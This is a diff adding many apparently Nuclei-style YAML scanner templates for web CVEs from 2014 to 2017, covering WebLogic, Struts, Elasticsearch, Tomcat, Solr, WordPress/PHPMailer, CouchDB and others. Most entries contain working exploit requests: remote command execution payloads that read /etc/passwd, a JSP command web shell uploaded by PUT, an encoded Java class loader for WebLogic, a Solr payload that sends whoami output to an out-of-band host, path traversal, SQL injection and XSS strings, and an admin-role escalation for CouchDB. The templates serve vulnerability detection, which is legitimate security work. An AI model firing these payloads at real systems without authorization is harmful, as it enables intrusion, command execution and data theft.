+      - https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Connection refused"
+          - "Socket Closed"
+          - "content-type: unknown/unknown"
+        part: body
+        condition: or
@@ -5,6 +5,10 @@ info:
  author: pentest_swissky
  severity: high
  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+  reference: |
+    - http://www.kb.cert.org/vuls/id/252743
+    - http://www.us-cert.gov/ncas/alerts/TA14-268A
+  tags: cve,cve2014,rce

 requests:
  - method: GET
@@ -0,0 +1,54 @@
+id: CVE-2015-1427
+
+info:
+  name: ElasticSearch 1.4.0/1.4.2 RCE
+  author: pikpikcu
+  severity: critical
+  description: The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.
+  reference: |
+    - https://blog.csdn.net/JiangBuLiu/article/details/94457980
+    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/
+  tags: cve,cve2015,elastic,rce
+
+requests:
+  - raw:
+      - |
+        POST /website/blog/ HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {
+          "name": "test"
+        }
+      - |
+        POST /_search HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,33 @@
+id: CVE-2015-1880
+
+info:
+  name: XSS in Fortigates SSL VPN login page
+  author: pikpikcu
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in the sslvpn login page in Fortinet FortiOS 5.2.x before 5.2.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-1880
+    - https://www.c2.lol/articles/xss-in-fortigates-ssl-vpn-login-page
+  tags: cve,cve2015,xss,fortigates,ssl
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/login?&err=--%3E%3Cscript%3Ealert('{{randstr}}')%3C/script%3E%3C!--&lang=en"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<script>alert('{{randstr}}')</script>"
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,30 @@
+id: CVE-2015-2080
+
+info:
+  name: Eclipse Jetty Remote Leakage
+  author: pikpikcu
+  severity: medium
+  reference: |
+    - https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md
+    - https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
+    - http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html
+  description: |
+       The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak
+  tags: cve,cve2015,jetty
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/"
+    headers:
+      Referer: \x00
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 400
+      - type: word
+        words:
+          - "Illegal character 0x0 in state"
+        part: body
@@ -0,0 +1,29 @@
+id: CVE-2015-3306
+
+info:
+  name: ProFTPd RCE
+  author: pdteam
+  severity: high
+  reference: https://github.com/t0kx/exploit-CVE-2015-3306
+  description: The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
+  tags: cve,cve2015,ftp,rce,network
+
+network:
+  - inputs:
+      - data: "site cpfr /proc/self/cmdline\r\n"
+        read: 1024
+      - data: "site cpto /tmp/.{{randstr}}\r\n"
+        read: 1024
+      - data: "site cpfr /tmp/.{{randstr}}\r\n"
+        read: 1024
+      - data: "site cpto /var/www/html/{{randstr}}\r\n"
+    host:
+      - "{{Hostname}}:21"
+      - "{{Hostname}}"
+
+    read-size: 1024
+    matchers:
+      - type: word
+        words:
+          - "Copy successful"
+        part: raw
@@ -0,0 +1,25 @@
+id: CVE-2015-3337
+
+info:
+ name: Elasticsearch Head plugin LFI
+ author: pdteam
+ severity: high
+ description: Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2, when a site plugin is enabled, allows remote attackers to read arbitrary files via unspecified vectors.
+ reference: https://www.exploit-db.com/exploits/37054/
+ tags: cve,cve2015,elastic,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/_plugin/head/../../../../../../../../../../../../../../../../etc/passwd"
+
+   matchers-condition: and
+   matchers:
+    - type: regex
+      regex:
+       - "root:[x*]:0:0"
+      part: body
+
+    - type: status
+      status:
+       - 200
@@ -0,0 +1,26 @@
+id: CVE-2015-5688
+
+info:
+ name: Geddy before v13.0.8 LFI
+ author: pikpikcu
+ severity: high
+ issues: https://github.com/geddy/geddy/issues/697
+ description: Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.
+ reference: https://nodesecurity.io/advisories/geddy-directory-traversal
+ tags: cve,cve2015,geddy,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+
+   matchers-condition: and
+   matchers:
+    - type: regex
+      regex:
+       - "root:[x*]:0:0"
+      part: body
+
+    - type: status
+      status:
+       - 200
@@ -0,0 +1,19 @@
+id: CVE-2015-7297
+info:
+  name: Joomla Core SQL Injection
+  author: princechaddha
+  severity: high
+  description: SQL injection vulnerability in Joomla 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.
+  reference: http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
+  tags: cve,cve2015,joomla,sqli
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)"
+
+    matchers:
+      - type: word
+        words:
+          - "cf79ae6addba60ad018347359bd144d2"
+        part: body
@@ -0,0 +1,25 @@
+id: CVE-2015-8399
+info:
+  author: princechaddha
+  name: Atlassian Confluence configuration files read
+  severity: medium
+  description: Atlassian Confluence before 5.8.17 allows remote authenticated users to read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
+  reference: https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
+  tags: cve,cve2015,atlassian,confluence
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/spaces/viewdefaultdecorator.action?decoratorName"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "confluence-init.properties"
+          - "View Default Decorator"
+        condition: and
+        part: body
@@ -0,0 +1,50 @@
+id: CVE-2016-10033
+info:
+  name: Wordpress 4.6 Remote Code Execution
+  author: princechaddha
+  severity: high
+  description: The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.
+  reference: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
+  tags: wordpress,cve,cve2016,rce
+
+requests:
+  - raw:
+      - |+
+        GET /?author=1 HTTP/1.1
+        Host: {{Hostname}}
+        Cache-Control: max-age=0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+        Accept-Language: en-US,en;q=0.9
+        Connection: close
+
+      - |+
+        POST /wp-login.php?action=lostpassword HTTP/1.1
+        Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
+        Connection: close
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Accept: */*
+        Content-Length: 56
+        Content-Type: application/x-www-form-urlencoded
+
+        wp-submit=Get+New+Password&redirect_to=&user_login={{username}}
+
+    unsafe: true
+    extractors:
+      - type: regex
+        name: username
+        internal: true
+        group: 1
+        part: body
+        regex:
+          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - wp-login.php?checkemail=confirm
+        part: header
+
+      - type: status
+        status:
+          - 302
@@ -0,0 +1,28 @@
+id: CVE-2016-3081
+
+info:
+  name: Apache S2-032 Struts RCE
+  author: dhiyaneshDK
+  severity: high
+  description: |
+    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
+  reference: |
+    - https://cwiki.apache.org/confluence/display/WW/S2-032
+    - https://struts.apache.org/docs/s2-032.html
+  tags: cve,cve2016,struts,rce,apache
+
+requests:
+  - raw:
+      - |
+        GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 4
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,25 @@
+id: CVE-2016-7552
+
+info:
+  name: Trend Micro Threat Discovery Appliance Auth Bypass via Directory Traversal
+  author: dwisiswant0
+  severity: critical
+  description: On the Trend Micro Threat Discovery Appliance 2.6.1062r1, directory traversal when processing a session_id cookie allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
+  reference: https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
+  tags: cve,cve2016,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/logoff.cgi"
+    headers:
+      Cookie: "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Memory map"
+        part: body
@@ -0,0 +1,24 @@
+id: CVE-2017-1000028
+
+info:
+ name: GlassFish LFI
+ author: pikpikcu
+ severity: high
+ description: Oracle, GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated Directory Traversal vulnerability, that can be exploited by issuing a specially crafted HTTP GET request.
+ reference: https://www.exploit-db.com/exploits/45196
+ tags: cve,cve2017,oracle,glassfish,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
+   matchers-condition: and
+   matchers:
+    - type: word
+      words:
+       - "/sbin/nologin"
+      part: body
+
+    - type: status
+      status:
+       - 200
@@ -0,0 +1,26 @@
+id: CVE-2017-1000170
+
+info:
+  name: WordPress Plugin Delightful Downloads Jquery File Tree 2.1.5 Path Traversal
+  author: dwisiswant0
+  severity: high
+  reference: https://www.exploit-db.com/exploits/49693
+  description: jqueryFileTree 2.1.5 and older Directory Traversal
+  tags: cve,cve2017,wordpress,wp-plugin,lfi
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"
+    body: "dir=%2Fetc%2F&onlyFiles=true"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<li class='file ext_passwd'>"
+          - "<a rel='/passwd'>passwd</a></li>"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,33 @@
+id: CVE-2017-1000486
+
+info:
+  name: Primetek Primefaces 5.x EL Injection - RCE
+  author: Moritz Nentwig
+  severity: critical
+  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
+  reference: |
+      - https://github.com/mogwailabs/CVE-2017-1000486
+      - https://github.com/pimps/CVE-2017-1000486
+      - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
+  tags: cve,cve2017,primetek,rce
+
+requests:
+  - raw:
+      - |
+        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 160
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: gzip, deflate
+
+        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
+
+    matchers:
+      - type: word
+        words:
+          - 'Mogwailabs: CHECKCHECK'
+        part: header
@@ -5,6 +5,8 @@ info:
  author: madrobot
  severity: medium
  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+  reference: http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
+  tags: cve,cve2017,xss,oracle

 requests:
  - method: GET
@@ -0,0 +1,67 @@
+id: CVE-2017-10271
+
+info:
+  name: CVE-2017-10271
+  author: dr_set
+  severity: high
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  reference: https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
+  tags: cve,cve2017,rce,oracle,weblogic
+
+  # Source:- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
+
+requests:
+  - raw:
+      - |
+          POST /wls-wsat/CoordinatorPortType HTTP/1.1
+          Host: {{Hostname}}
+          Accept: */*
+          Accept-Language: en
+          User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+          Connection: close
+          Content-Type: text/xml
+          Content-Length: 5178
+
+          <?xml version="1.0" encoding="utf-8"?>
+          <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+              <soapenv:Header>
+                  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+                      <java>
+                          <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
+                              <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
+                          </void>
+                          <void class="org.mozilla.classfile.DefiningClassLoader">
+                              <void method="defineClass">
+                                  <string>com.supeream.exploits.XmlExp</string>
+                                  <object idref="cls"></object>
+                                  <void method="newInstance">
+                                      <void method="say" id="proc">
+                                          <string>cat /etc/passwd</string>
+                                      </void>
+                                  </void>
+                              </void>
+                          </void>
+                          <void class="java.lang.Thread" method="currentThread">
+                              <void method="getCurrentWork">
+                                  <void method="getResponse">
+                                      <void method="getServletOutputStream">
+                                          <void method="writeStream">
+                                              <object idref="proc"></object>
+                                          </void>
+                                          <void method="flush"/>
+                                      </void>
+                                      <void method="getWriter"><void method="write"><string></string></void></void>
+                                  </void>
+                              </void>
+                          </void>
+                      </java>
+                  </work:WorkContext>
+              </soapenv:Header>
+              <soapenv:Body/>
+          </soapenv:Envelope>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -5,6 +5,8 @@ info:
  author: dwisiswant0
  severity: high
  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+  reference: https://github.com/intelliants/subrion/issues/479
+  tags: cve,cve2017,sqli,subrion

  # Source:
  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
@@ -0,0 +1,39 @@
+id: CVE-2017-12149
+
+info:
+  name: Java/Jboss Deserialization [RCE]
+  author: fopina
+  severity: critical
+  description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.
+  reference: |
+        - https://nvd.nist.gov/vuln/detail/CVE-2017-12149
+        - https://chowdera.com/2020/12/20201229190934023w.html
+        - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
+  tags: cve,cve2017,java,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /invoker/JMXInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+      - |
+        POST /invoker/EJBInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "ClassCastException"
+        part: body
+
+      - type: word
+        words:
+          - "application/x-java-serialized-object"
+        part: header
@@ -0,0 +1,34 @@
+id: CVE-2017-12542
+
+info:
+  name: ILO4 Authentication bypass
+  author: pikpikcu
+  severity: critical
+  description: A authentication bypass and execution of code vulnerability in HPE Integrated Lights-out 4 (iLO 4) version prior to 2.53 was found.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12542
+      - https://www.exploit-db.com/exploits/44005
+  tags: cve,cve2017,ilo4,hpe
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rest/v1/AccountService/Accounts"
+    headers:
+      Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "iLO User"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,25 @@
+id: CVE-2017-12611
+
+info:
+  name: Apache Struts2 S2-053 RCE
+  author: pikpikcu
+  severity: critical
+  description: In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.
+  reference: https://struts.apache.org/docs/s2-053.html
+  tags: cve,cve2017,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,50 @@
+id: CVE-2017-12615
+
+info:
+  name: Apache Tomcat RCE
+  author: pikpikcu
+  severity: critical
+  tags: cve,cve2017,apache,rce
+  reference: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
+  description: |
+        By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.
+        This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.
+        However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}
+        Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.
+
+requests:
+  - method: PUT
+    path:
+      - "{{BaseURL}}/poc.jsp/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        <%@ page import="java.util.*,java.io.*"%>
+        <%
+        if (request.getParameter("cmd") != null) {
+                out.println("Command: " + request.getParameter("cmd") + "<BR>");
+                Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
+                OutputStream os = p.getOutputStream();
+                InputStream in = p.getInputStream();
+                DataInputStream dis = new DataInputStream(in);
+                String disr = dis.readLine();
+                while ( disr != null ) {
+                        out.println(disr);
+                        disr = dis.readLine();
+                        }
+                }
+        %>
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: CVE-2017-12629
+
+info:
+  name: Apache Solr <= 7.1 Remote Code Execution via SSRF
+  author: dwisiswant0
+  severity: critical
+  tags: cve,cve2017,solr,apache,rce,ssrf,oob
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
+      - https://twitter.com/honoki/status/1298636315613974532/photo/1
+
+requests:
+  - raw:
+      - |
+        GET /solr/select?qt=%2Fconfig%2523%26&shards=127.0.0.1:8984/solq&stream.body=%7B%22add-listener%22%3A%7B%22event%22%3A%22postCommit%22%2C%22name%22%3A%22nuclei%22%2C%22class%22%3A%22solr.RunExecutableListener%22%2C%22exe%22%3A%22sh%22%2C%22dir%22%3A%22%2Fbin%2F%22%2C%22args%22%3A%5B%22-c%22%2C%22%24%40%7Csh%22%2C%22.%22%2C%22echo%22%2C%22nslookup%22%2C%22%24%28whoami%29.{{interactsh-url}}%22%5D%7D%7D&wt=json&isShard=true&q=apple HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /solr/select?shards=127.0.0.1:8984/solr/update%23&commit=true HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -0,0 +1,48 @@
+id: CVE-2017-12635
+
+info:
+  name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 Remote Privilege Escalation
+  author: pikpikcu
+  severity: high
+  description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
+  reference: https://github.com/assalielmehdi/CVE-2017-12635
+  tags: cve,cve2017,couchdb
+
+requests:
+  - raw:
+      - |
+        PUT /_users/org.couchdb.user:poc HTTP/1.1
+        Host:  {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: application/json
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Length: 108
+
+        {
+          "type": "user",
+          "name": "poc",
+          "roles": ["_admin"],
+          "roles": [],
+          "password": "123456"
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+          - "Location:"
+        part: header
+
+      - type: word
+        words:
+          - "org.couchdb.user:poc"
+          - "conflict"
